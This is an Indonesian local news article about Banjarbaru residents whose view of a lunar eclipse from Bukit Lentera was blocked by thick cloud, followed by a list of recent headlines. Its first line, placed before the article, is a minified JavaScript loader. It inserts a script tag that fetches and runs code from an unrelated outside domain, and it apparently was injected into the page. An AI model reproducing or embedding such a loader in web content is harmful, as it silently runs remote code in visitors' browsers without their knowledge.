(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Tertutup Awan, Gerhana Sumpurna Tak Bisa Dilihat Paripurna!


BANJARBARU, Fenomena alam langka yang terjadi pada hari ini menyisakan sedikit kekecewaan bagi penduduk kota Banjarbaru dan sekitarnya. Yang sebelumnya langit terlihat cerah, sehingga meningkatkan animo warga untuk melihat keajaiban alam ini di tempat khusus seperti bukit, hingga tempat yang tak terhalang lainnya. Namun sayangnya, bulan yang baru tertutup 3/4 bagiannya itu akhirnya tak terlihat karena awan hitam tebal yang menutup langit Banjarbaru.

Pantauan Kanalkalimantan.com, terdapat puluhan masyarakat berbondong-bondong ke atas Bukit Lentera. Bukit Lentera merupakan salah satu destinasi wisata alam yang cukup mudah untuk di datangi dan tak perlu menempuh jarak waktu yang lama. Seperti halnya Tamrin (48) yang membawa serta sanak familinya untuk piknik malam hari di atas bukit Lentera.

Berharap bisa melihat fenomena gerhana bulan secara menyeluruh. Dengan persiapan yang sangat matang tamrin membawa alat masak kompor portabel untuk bisa menyantap makanan instan yang masih panas, namun saat bulan tertutup awan tebal beliau merasa kecewa

“Padahal datang ke sini sudah dari jam 5 sore. Bahkan bawa alat masak biar gak kelaparan sampai tengah malam ini. Tapi sayang cuman bisa lihat sebagian saja,”  ujar Tamrin

Meski kecewa tak bisa lagi melihat proses gerhana secara penuh, mereka tetap bisa menikmati panorama kota Banjarbaru dari atas Bukit Lentera. Dan aktivitas “piknik” di malam hari pun terus berlanjut tidak hanya para remaja yang menikmati suasana bukit, orang tua dan anak kecil juga ikut bergabung.

Ada sebagian pengunjung yang menyalakan api unggun, ada juga yang menyalakan lampu kendaraannya, hal ini di karenakan tempat tersebut di kelilingi oleh tebing yang cukup terjal dan tempat yang sangat gelap di malam hari karena sama sekali tidak ada lampu penerangan.

“Ya dinyalakan aja (api) biar org lain bisa liat jalan disini. Kan kiri kanannya tebing. Takutnya kalo gak tahu area atau wilayah sini bisa langsung terjun bebas,” ungkap Rahmat. (devi)

Reporter: Devi
Editor: Chell

Desy Arfianty

Recent Posts

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

36 menit ago

Serang Markas Polisi di Kobar Kalteng, Empat Lelaki Diringkus

KANALKALIMANTAN.COM, PANGKALAN BUN - Malam yang seharusnya tenang di Desa Pangkalan Banteng, Kabupaten Kotawaringin Barat… Read More

1 jam ago

Pj Bupati Kapuas Perpisahan dengan Dua Pejabat Purna Tugas

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi didampingi Pj Ketua TP PKK… Read More

3 jam ago

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

18 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

21 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

1 hari ago

This website uses cookies.